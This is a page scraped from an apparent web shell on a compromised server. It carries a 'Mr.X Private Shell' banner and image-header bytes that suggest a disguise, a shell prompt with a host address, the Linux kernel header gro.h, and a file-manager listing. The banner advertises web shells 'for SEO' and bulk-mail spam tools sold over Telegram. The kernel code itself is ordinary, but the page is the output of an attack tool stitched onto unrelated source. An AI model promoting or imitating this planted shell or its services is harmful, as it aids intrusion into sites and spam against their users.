����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
/* SPDX-License-Identifier: GPL-2.0-or-later */

#ifndef _NET_IPV6_GRO_H
#define _NET_IPV6_GRO_H

#include <linux/indirect_call_wrapper.h>
#include <linux/ip.h>
#include <linux/ipv6.h>
#include <net/ip6_checksum.h>
#include <linux/skbuff.h>
#include <net/udp.h>

struct napi_gro_cb {
	/* Virtual address of skb_shinfo(skb)->frags[0].page + offset. */
	void	*frag0;

	/* Length of frag0. */
	unsigned int frag0_len;

	/* This indicates where we are processing relative to skb->data. */
	int	data_offset;

	/* This is non-zero if the packet cannot be merged with the new skb. */
	u16	flush;

	/* Save the IP ID here and check when we get to the transport layer */
	u16	flush_id;

	/* Number of segments aggregated. */
	u16	count;

	/* Start offset for remote checksum offload */
	u16	gro_remcsum_start;

	/* jiffies when first packet was created/queued */
	unsigned long age;

	/* Used in ipv6_gro_receive() and foo-over-udp */
	u16	proto;

	/* This is non-zero if the packet may be of the same flow. */
	u8	same_flow:1;

	/* Used in tunnel GRO receive */
	u8	encap_mark:1;

	/* GRO checksum is valid */
	u8	csum_valid:1;

	/* Number of checksums via CHECKSUM_UNNECESSARY */
	u8	csum_cnt:3;

	/* Free the skb? */
	u8	free:2;
#define NAPI_GRO_FREE		  1
#define NAPI_GRO_FREE_STOLEN_HEAD 2

	/* Used in foo-over-udp, set in udp[46]_gro_receive */
	u8	is_ipv6:1;

	/* Used in GRE, set in fou/gue_gro_receive */
	u8	is_fou:1;

	/* Used to determine if flush_id can be ignored */
	u8	is_atomic:1;

	/* Number of gro_receive callbacks this packet already went through */
	u8 recursion_counter:4;

	/* GRO is done by frag_list pointer chaining. */
	u8	is_flist:1;

	/* used to support CHECKSUM_COMPLETE for tunneling protocols */
	__wsum	csum;

	/* used in skb_gro_receive() slow path */
	struct sk_buff *last;
};

#define NAPI_GRO_CB(skb) ((struct napi_gro_cb *)(skb)->cb)

#define GRO_RECURSION_LIMIT 15
static inline int gro_recursion_inc_test(struct sk_buff *skb)
{
	return ++NAPI_GRO_CB(skb)->recursion_counter == GRO_RECURSION_LIMIT;
}

typedef struct sk_buff *(*gro_receive_t)(struct list_head *, struct sk_buff *);
static inline struct sk_buff *call_gro_receive(gro_receive_t cb,
					       struct list_head *head,
					       struct sk_buff *skb)
{
	if (unlikely(gro_recursion_inc_test(skb))) {
		NAPI_GRO_CB(skb)->flush |= 1;
		return NULL;
	}

	return cb(head, skb);
}

typedef struct sk_buff *(*gro_receive_sk_t)(struct sock *, struct list_head *,
					    struct sk_buff *);
static inline struct sk_buff *call_gro_receive_sk(gro_receive_sk_t cb,
						  struct sock *sk,
						  struct list_head *head,
						  struct sk_buff *skb)
{
	if (unlikely(gro_recursion_inc_test(skb))) {
		NAPI_GRO_CB(skb)->flush |= 1;
		return NULL;
	}

	return cb(sk, head, skb);
}

static inline unsigned int skb_gro_offset(const struct sk_buff *skb)
{
	return NAPI_GRO_CB(skb)->data_offset;
}

static inline unsigned int skb_gro_len(const struct sk_buff *skb)
{
	return skb->len - NAPI_GRO_CB(skb)->data_offset;
}

static inline void skb_gro_pull(struct sk_buff *skb, unsigned int len)
{
	NAPI_GRO_CB(skb)->data_offset += len;
}

static inline void *skb_gro_header_fast(struct sk_buff *skb,
					unsigned int offset)
{
	return NAPI_GRO_CB(skb)->frag0 + offset;
}

static inline int skb_gro_header_hard(struct sk_buff *skb, unsigned int hlen)
{
	return NAPI_GRO_CB(skb)->frag0_len < hlen;
}

static inline void skb_gro_frag0_invalidate(struct sk_buff *skb)
{
	NAPI_GRO_CB(skb)->frag0 = NULL;
	NAPI_GRO_CB(skb)->frag0_len = 0;
}

static inline void *skb_gro_header_slow(struct sk_buff *skb, unsigned int hlen,
					unsigned int offset)
{
	if (!pskb_may_pull(skb, hlen))
		return NULL;

	skb_gro_frag0_invalidate(skb);
	return skb->data + offset;
}

static inline void *skb_gro_header(struct sk_buff *skb,
					unsigned int hlen, unsigned int offset)
{
	void *ptr;

	ptr = skb_gro_header_fast(skb, offset);
	if (skb_gro_header_hard(skb, hlen))
		ptr = skb_gro_header_slow(skb, hlen, offset);
	return ptr;
}

static inline void *skb_gro_network_header(struct sk_buff *skb)
{
	return (NAPI_GRO_CB(skb)->frag0 ?: skb->data) +
	       skb_network_offset(skb);
}

static inline __wsum inet_gro_compute_pseudo(struct sk_buff *skb, int proto)
{
	const struct iphdr *iph = skb_gro_network_header(skb);

	return csum_tcpudp_nofold(iph->saddr, iph->daddr,
				  skb_gro_len(skb), proto, 0);
}

static inline void skb_gro_postpull_rcsum(struct sk_buff *skb,
					const void *start, unsigned int len)
{
	if (NAPI_GRO_CB(skb)->csum_valid)
		NAPI_GRO_CB(skb)->csum = csum_sub(NAPI_GRO_CB(skb)->csum,
						  csum_partial(start, len, 0));
}

/* GRO checksum functions. These are logical equivalents of the normal
 * checksum functions (in skbuff.h) except that they operate on the GRO
 * offsets and fields in sk_buff.
 */

__sum16 __skb_gro_checksum_complete(struct sk_buff *skb);

static inline bool skb_at_gro_remcsum_start(struct sk_buff *skb)
{
	return (NAPI_GRO_CB(skb)->gro_remcsum_start == skb_gro_offset(skb));
}

static inline bool __skb_gro_checksum_validate_needed(struct sk_buff *skb,
						      bool zero_okay,
						      __sum16 check)
{
	return ((skb->ip_summed != CHECKSUM_PARTIAL ||
		skb_checksum_start_offset(skb) <
		 skb_gro_offset(skb)) &&
		!skb_at_gro_remcsum_start(skb) &&
		NAPI_GRO_CB(skb)->csum_cnt == 0 &&
		(!zero_okay || check));
}

static inline __sum16 __skb_gro_checksum_validate_complete(struct sk_buff *skb,
							   __wsum psum)
{
	if (NAPI_GRO_CB(skb)->csum_valid &&
	    !csum_fold(csum_add(psum, NAPI_GRO_CB(skb)->csum)))
		return 0;

	NAPI_GRO_CB(skb)->csum = psum;

	return __skb_gro_checksum_complete(skb);
}

static inline void skb_gro_incr_csum_unnecessary(struct sk_buff *skb)
{
	if (NAPI_GRO_CB(skb)->csum_cnt > 0) {
		/* Consume a checksum from CHECKSUM_UNNECESSARY */
		NAPI_GRO_CB(skb)->csum_cnt--;
	} else {
		/* Update skb for CHECKSUM_UNNECESSARY and csum_level when we
		 * verified a new top level checksum or an encapsulated one
		 * during GRO. This saves work if we fallback to normal path.
		 */
		__skb_incr_checksum_unnecessary(skb);
	}
}

#define __skb_gro_checksum_validate(skb, proto, zero_okay, check,	\
				    compute_pseudo)			\
({									\
	__sum16 __ret = 0;						\
	if (__skb_gro_checksum_validate_needed(skb, zero_okay, check))	\
		__ret = __skb_gro_checksum_validate_complete(skb,	\
				compute_pseudo(skb, proto));		\
	if (!__ret)							\
		skb_gro_incr_csum_unnecessary(skb);			\
	__ret;								\
})

#define skb_gro_checksum_validate(skb, proto, compute_pseudo)		\
	__skb_gro_checksum_validate(skb, proto, false, 0, compute_pseudo)

#define skb_gro_checksum_validate_zero_check(skb, proto, check,		\
					     compute_pseudo)		\
	__skb_gro_checksum_validate(skb, proto, true, check, compute_pseudo)

#define skb_gro_checksum_simple_validate(skb)				\
	__skb_gro_checksum_validate(skb, 0, false, 0, null_compute_pseudo)

static inline bool __skb_gro_checksum_convert_check(struct sk_buff *skb)
{
	return (NAPI_GRO_CB(skb)->csum_cnt == 0 &&
		!NAPI_GRO_CB(skb)->csum_valid);
}

static inline void __skb_gro_checksum_convert(struct sk_buff *skb,
					      __wsum pseudo)
{
	NAPI_GRO_CB(skb)->csum = ~pseudo;
	NAPI_GRO_CB(skb)->csum_valid = 1;
}

#define skb_gro_checksum_try_convert(skb, proto, compute_pseudo)	\
do {									\
	if (__skb_gro_checksum_convert_check(skb))			\
		__skb_gro_checksum_convert(skb, 			\
					   compute_pseudo(skb, proto));	\
} while (0)

struct gro_remcsum {
	int offset;
	__wsum delta;
};

static inline void skb_gro_remcsum_init(struct gro_remcsum *grc)
{
	grc->offset = 0;
	grc->delta = 0;
}

static inline void *skb_gro_remcsum_process(struct sk_buff *skb, void *ptr,
					    unsigned int off, size_t hdrlen,
					    int start, int offset,
					    struct gro_remcsum *grc,
					    bool nopartial)
{
	__wsum delta;
	size_t plen = hdrlen + max_t(size_t, offset + sizeof(u16), start);

	BUG_ON(!NAPI_GRO_CB(skb)->csum_valid);

	if (!nopartial) {
		NAPI_GRO_CB(skb)->gro_remcsum_start = off + hdrlen + start;
		return ptr;
	}

	ptr = skb_gro_header(skb, off + plen, off);
	if (!ptr)
		return NULL;

	delta = remcsum_adjust(ptr + hdrlen, NAPI_GRO_CB(skb)->csum,
			       start, offset);

	/* Adjust skb->csum since we changed the packet */
	NAPI_GRO_CB(skb)->csum = csum_add(NAPI_GRO_CB(skb)->csum, delta);

	grc->offset = off + hdrlen + offset;
	grc->delta = delta;

	return ptr;
}

static inline void skb_gro_remcsum_cleanup(struct sk_buff *skb,
					   struct gro_remcsum *grc)
{
	void *ptr;
	size_t plen = grc->offset + sizeof(u16);

	if (!grc->delta)
		return;

	ptr = skb_gro_header(skb, plen, grc->offset);
	if (!ptr)
		return;

	remcsum_unadjust((__sum16 *)ptr, grc->delta);
}

#ifdef CONFIG_XFRM_OFFLOAD
static inline void skb_gro_flush_final(struct sk_buff *skb, struct sk_buff *pp, int flush)
{
	if (PTR_ERR(pp) != -EINPROGRESS)
		NAPI_GRO_CB(skb)->flush |= flush;
}
static inline void skb_gro_flush_final_remcsum(struct sk_buff *skb,
					       struct sk_buff *pp,
					       int flush,
					       struct gro_remcsum *grc)
{
	if (PTR_ERR(pp) != -EINPROGRESS) {
		NAPI_GRO_CB(skb)->flush |= flush;
		skb_gro_remcsum_cleanup(skb, grc);
		skb->remcsum_offload = 0;
	}
}
#else
static inline void skb_gro_flush_final(struct sk_buff *skb, struct sk_buff *pp, int flush)
{
	NAPI_GRO_CB(skb)->flush |= flush;
}
static inline void skb_gro_flush_final_remcsum(struct sk_buff *skb,
					       struct sk_buff *pp,
					       int flush,
					       struct gro_remcsum *grc)
{
	NAPI_GRO_CB(skb)->flush |= flush;
	skb_gro_remcsum_cleanup(skb, grc);
	skb->remcsum_offload = 0;
}
#endif

INDIRECT_CALLABLE_DECLARE(struct sk_buff *ipv6_gro_receive(struct list_head *,
							   struct sk_buff *));
INDIRECT_CALLABLE_DECLARE(int ipv6_gro_complete(struct sk_buff *, int));
INDIRECT_CALLABLE_DECLARE(struct sk_buff *inet_gro_receive(struct list_head *,
							   struct sk_buff *));
INDIRECT_CALLABLE_DECLARE(int inet_gro_complete(struct sk_buff *, int));

INDIRECT_CALLABLE_DECLARE(struct sk_buff *udp4_gro_receive(struct list_head *,
							   struct sk_buff *));
INDIRECT_CALLABLE_DECLARE(int udp4_gro_complete(struct sk_buff *, int));

INDIRECT_CALLABLE_DECLARE(struct sk_buff *udp6_gro_receive(struct list_head *,
							   struct sk_buff *));
INDIRECT_CALLABLE_DECLARE(int udp6_gro_complete(struct sk_buff *, int));

#define indirect_call_gro_receive_inet(cb, f2, f1, head, skb)	\
({								\
	unlikely(gro_recursion_inc_test(skb)) ?			\
		NAPI_GRO_CB(skb)->flush |= 1, NULL :		\
		INDIRECT_CALL_INET(cb, f2, f1, head, skb);	\
})

struct sk_buff *udp_gro_receive(struct list_head *head, struct sk_buff *skb,
				struct udphdr *uh, struct sock *sk);
int udp_gro_complete(struct sk_buff *skb, int nhoff, udp_lookup_t lookup);

static inline struct udphdr *udp_gro_udphdr(struct sk_buff *skb)
{
	struct udphdr *uh;
	unsigned int hlen, off;

	off  = skb_gro_offset(skb);
	hlen = off + sizeof(*uh);
	uh   = skb_gro_header(skb, hlen, off);

	return uh;
}

static inline __wsum ip6_gro_compute_pseudo(struct sk_buff *skb, int proto)
{
	const struct ipv6hdr *iph = skb_gro_network_header(skb);

	return ~csum_unfold(csum_ipv6_magic(&iph->saddr, &iph->daddr,
					    skb_gro_len(skb), proto, 0));
}

int skb_gro_receive(struct sk_buff *p, struct sk_buff *skb);

/* Pass the currently batched GRO_NORMAL SKBs up to the stack. */
static inline void gro_normal_list(struct napi_struct *napi)
{
	if (!napi->rx_count)
		return;
	netif_receive_skb_list_internal(&napi->rx_list);
	INIT_LIST_HEAD(&napi->rx_list);
	napi->rx_count = 0;
}

/* Queue one GRO_NORMAL SKB up for list processing. If batch size exceeded,
 * pass the whole batch up to the stack.
 */
static inline void gro_normal_one(struct napi_struct *napi, struct sk_buff *skb, int segs)
{
	list_add_tail(&skb->list, &napi->rx_list);
	napi->rx_count += segs;
	if (napi->rx_count >= READ_ONCE(gro_normal_batch))
		gro_normal_list(napi);
}

extern struct list_head offload_base;

#endif /* _NET_IPV6_GRO_H */

Filemanager

Name Type Size Permission Actions
9p Folder 0755
bluetooth Folder 0755
caif Folder 0755
iucv Folder 0755
libeth Folder 0755
mana Folder 0755
netfilter Folder 0755
netns Folder 0755
nfc Folder 0755
page_pool Folder 0755
phonet Folder 0755
sctp Folder 0755
tc_act Folder 0755
6lowpan.h File 10.03 KB 0644
Space.h File 1.07 KB 0644
act_api.h File 9.31 KB 0644
addrconf.h File 14.26 KB 0644
af_ieee802154.h File 1.19 KB 0644
af_rxrpc.h File 3.35 KB 0644
af_unix.h File 3.3 KB 0644
af_vsock.h File 8.22 KB 0644
ah.h File 382 B 0644
arp.h File 1.95 KB 0644
atmclip.h File 1.48 KB 0644
ax25.h File 14.87 KB 0644
ax88796.h File 1.33 KB 0644
bareudp.h File 333 B 0644
bond_3ad.h File 9.4 KB 0644
bond_alb.h File 6.1 KB 0644
bond_options.h File 4.86 KB 0644
bonding.h File 20.96 KB 0644
bpf_sk_storage.h File 1.74 KB 0644
busy_poll.h File 3.83 KB 0644
calipso.h File 1.55 KB 0644
cfg80211-wext.h File 1.86 KB 0644
cfg80211.h File 346.54 KB 0644
cfg802154.h File 10.6 KB 0644
checksum.h File 4.67 KB 0644
cipso_ipv4.h File 7.42 KB 0644
cls_cgroup.h File 2.04 KB 0644
codel.h File 5.86 KB 0644
codel_impl.h File 8.3 KB 0644
codel_qdisc.h File 2.95 KB 0644
compat.h File 2.18 KB 0644
datalink.h File 716 B 0644
dcbevent.h File 766 B 0644
dcbnl.h File 4.42 KB 0644
devlink.h File 73.76 KB 0644
dn.h File 6.88 KB 0644
dn_dev.h File 5.39 KB 0644
dn_fib.h File 4.04 KB 0644
dn_neigh.h File 996 B 0644
dn_nsp.h File 5.5 KB 0644
dn_route.h File 4.01 KB 0644
dropreason-core.h File 17.92 KB 0644
dropreason.h File 1.18 KB 0644
dsa.h File 33.46 KB 0644
dsa_stubs.h File 1.3 KB 0644
dsfield.h File 1.12 KB 0644
dst.h File 15.98 KB 0644
dst_cache.h File 2.96 KB 0644
dst_metadata.h File 6.42 KB 0644
dst_ops.h File 2.26 KB 0644
eee.h File 862 B 0644
erspan.h File 9.04 KB 0644
esp.h File 1.18 KB 0644
espintcp.h File 966 B 0644
ethoc.h File 439 B 0644
failover.h File 1.18 KB 0644
fib_notifier.h File 1.35 KB 0644
fib_rules.h File 6.57 KB 0644
firewire.h File 662 B 0644
flow.h File 5.91 KB 0644
flow_dissector.h File 12.65 KB 0644
flow_offload.h File 20.18 KB 0644
fou.h File 549 B 0644
fq.h File 2.55 KB 0644
fq_impl.h File 7.98 KB 0644
garp.h File 2.67 KB 0644
gen_stats.h File 2.99 KB 0644
genetlink.h File 20.88 KB 0644
geneve.h File 1.85 KB 0644
gre.h File 3.79 KB 0644
gro.h File 11.65 KB 0644
gro_cells.h File 443 B 0644
gso.h File 3.2 KB 0644
gtp.h File 1.46 KB 0644
gue.h File 3.29 KB 0644
handshake.h File 1.39 KB 0644
hwbm.h File 995 B 0644
icmp.h File 1.87 KB 0644
ieee80211_radiotap.h File 23.25 KB 0644
ieee802154_netdev.h File 8.75 KB 0644
if_inet6.h File 6.55 KB 0644
ife.h File 1.03 KB 0644
ila.h File 308 B 0644
inet6_connection_sock.h File 794 B 0644
inet6_hashtables.h File 3.6 KB 0644
inet_common.h File 2.9 KB 0644
inet_connection_sock.h File 11.03 KB 0644
inet_dscp.h File 1.55 KB 0644
inet_ecn.h File 7.83 KB 0644
inet_frag.h File 5.26 KB 0644
inet_hashtables.h File 12.28 KB 0644
inet_sock.h File 9.3 KB 0644
inet_timewait_sock.h File 3.56 KB 0644
inetpeer.h File 3.23 KB 0644
ip.h File 22.48 KB 0644
ip6_checksum.h File 2.47 KB 0644
ip6_fib.h File 15.82 KB 0644
ip6_route.h File 10.28 KB 0644
ip6_tunnel.h File 5.04 KB 0644
ip_fib.h File 17.27 KB 0644
ip_tunnels.h File 18.36 KB 0644
ip_vs.h File 49.62 KB 0644
ipcomp.h File 737 B 0644
ipconfig.h File 837 B 0644
ipv6.h File 37.44 KB 0644
ipv6_frag.h File 3.36 KB 0644
ipv6_stubs.h File 3.45 KB 0644
ipx.h File 4.28 KB 0644
iw_handler.h File 18.97 KB 0644
kcm.h File 4.82 KB 0644
l3mdev.h File 7.76 KB 0644
lag.h File 409 B 0644
lapb.h File 4.81 KB 0644
llc.h File 4.38 KB 0644
llc_c_ac.h File 9.39 KB 0644
llc_c_ev.h File 10.68 KB 0644
llc_c_st.h File 1.77 KB 0644
llc_conn.h File 4.09 KB 0644
llc_if.h File 2.16 KB 0644
llc_pdu.h File 14.35 KB 0644
llc_s_ac.h File 1.59 KB 0644
llc_s_ev.h File 2.22 KB 0644
llc_s_st.h File 1.03 KB 0644
llc_sap.h File 1.08 KB 0644
lwtunnel.h File 6.75 KB 0644
mac80211.h File 305.5 KB 0644
mac802154.h File 14.88 KB 0644
macsec.h File 10.25 KB 0644
mip6.h File 1016 B 0644
mld.h File 2.85 KB 0644
mpls.h File 943 B 0644
mpls_iptunnel.h File 481 B 0644
mptcp.h File 7.35 KB 0644
mrp.h File 3.11 KB 0644
ncsi.h File 1.94 KB 0644
ndisc.h File 14.78 KB 0644
neighbour.h File 16.74 KB 0644
net_debug.h File 5.07 KB 0644
net_failover.h File 1023 B 0644
net_namespace.h File 13.8 KB 0644
net_ratelimit.h File 220 B 0644
net_shaper.h File 3.49 KB 0644
net_trackers.h File 424 B 0644
netdev_queues.h File 10.02 KB 0644
netdev_rx_queue.h File 1.5 KB 0644
netevent.h File 1.04 KB 0644
netlabel.h File 20.3 KB 0644
netlink.h File 72.72 KB 0644
netprio_cgroup.h File 1.02 KB 0644
netrom.h File 7.73 KB 0644
nexthop.h File 12.69 KB 0644
nl802154.h File 12 KB 0644
nsh.h File 12.31 KB 0644
p8022.h File 504 B 0644
pie.h File 3.6 KB 0644
ping.h File 2.8 KB 0644
pkt_cls.h File 25.99 KB 0644
pkt_sched.h File 7.4 KB 0644
pptp.h File 604 B 0644
protocol.h File 3.81 KB 0644
psample.h File 1.22 KB 0644
psnap.h File 430 B 0644
raw.h File 2.48 KB 0644
rawv6.h File 856 B 0644
red.h File 11.39 KB 0644
regulatory.h File 9.88 KB 0644
request_sock.h File 6.53 KB 0644
rose.h File 7.64 KB 0644
route.h File 11.17 KB 0644
rpl.h File 839 B 0644
rps.h File 3.41 KB 0644
rsi_91x.h File 1.67 KB 0644
rstreason.h File 6.02 KB 0644
rtnetlink.h File 7.82 KB 0644
rtnh.h File 859 B 0644
sch_generic.h File 34.42 KB 0644
scm.h File 3.54 KB 0644
secure_seq.h File 868 B 0644
seg6.h File 2.43 KB 0644
seg6_hmac.h File 1.7 KB 0644
seg6_local.h File 644 B 0644
selftests.h File 582 B 0644
slhc_vj.h File 6.67 KB 0644
smc.h File 2.41 KB 0644
snmp.h File 5.14 KB 0644
sock.h File 84.81 KB 0644
sock_reuseport.h File 1.83 KB 0644
stp.h File 412 B 0644
strparser.h File 4.25 KB 0644
switchdev.h File 15.1 KB 0644
tc_wrapper.h File 6.29 KB 0644
tcp.h File 76.22 KB 0644
tcp_states.h File 1.3 KB 0644
tcx.h File 4.3 KB 0644
timewait_sock.h File 925 B 0644
tipc.h File 2.35 KB 0644
tls.h File 13.82 KB 0644
tls_prot.h File 1.84 KB 0644
tls_toe.h File 2.94 KB 0644
transp_v6.h File 1.95 KB 0644
tso.h File 566 B 0644
tun_proto.h File 1015 B 0644
udp.h File 15.73 KB 0644
udp_tunnel.h File 12.67 KB 0644
udplite.h File 2.38 KB 0644
vsock_addr.h File 662 B 0644
vxlan.h File 15.75 KB 0644
wext.h File 1.47 KB 0644
x25.h File 9.49 KB 0644
x25device.h File 387 B 0644
xdp.h File 14.43 KB 0644
xdp_priv.h File 427 B 0644
xdp_sock.h File 6.39 KB 0644
xdp_sock_drv.h File 9.01 KB 0644
xfrm.h File 57.78 KB 0644
xsk_buff_pool.h File 6.91 KB 0644